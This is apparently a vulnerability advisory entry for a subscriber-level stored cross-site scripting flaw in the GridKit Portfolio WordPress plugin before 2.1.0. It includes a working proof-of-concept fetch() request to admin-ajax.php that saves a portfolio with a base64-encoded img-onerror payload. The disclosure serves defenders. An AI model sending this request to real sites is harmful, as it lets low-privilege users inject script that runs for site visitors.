Lucene search

K
wpexploitKrzysztof ZającWPEX-ID:32A4A2B5-EF65-4E29-AF4A-F003DBD0809C
HistoryMar 15, 2022 - 12:00 a.m.

GridKit Portfolio < 2.1.0 - Subscriber+ Stored Cross-Site Scripting

2022-03-1500:00:00
Krzysztof Zając
85

0.001 Low

EPSS

Percentile

24.8%

The plugin does not have authorisation and CSRF checks in various functions related to AJAX actions, allowing any authenticated users, such as subscriber, to call them. Due to the lack of sanitisation and escaping, it could also allows attackers to perform Cross-Site Scripting attacks on pages where a Portfolio is embed

Step 1: Create a portfolio with at least one project (as admin)
Step 2: Add it to a post/page
Step 3: Run (as subscriber):

fetch("https://example.com/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": new URLSearchParams({"action": "crp_save_portfolio", "portfolio": '{"id":"1","title":"p","corder":["1"],"options":null,"extoptions":{"all_cats":{},"type":"album"},"projects":{"1":{"id":"0","pid":"1","title":"PGltZyBzcmMgb25lcnJvcj1hbGVydCgxKT4","description":"p","url":"http://tt.tt","cover":"aHR0cHM6Ly93d3cud2lraXBlZGlhLm9yZy9wb3J0YWwvd2lraXBlZGlhLm9yZy9hc3NldHMvaW1nL1dpa2lwZWRpYS1sb2dvLXYyLnBuZw==","pics":"","categories":[],"cdate":null,"details":""}},"deletions":[],"isDraft":false}'}),
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

The XSS will be triggered on the post/page where the Portfolio is embed

0.001 Low

EPSS

Percentile

24.8%

Related for WPEX-ID:32A4A2B5-EF65-4E29-AF4A-F003DBD0809C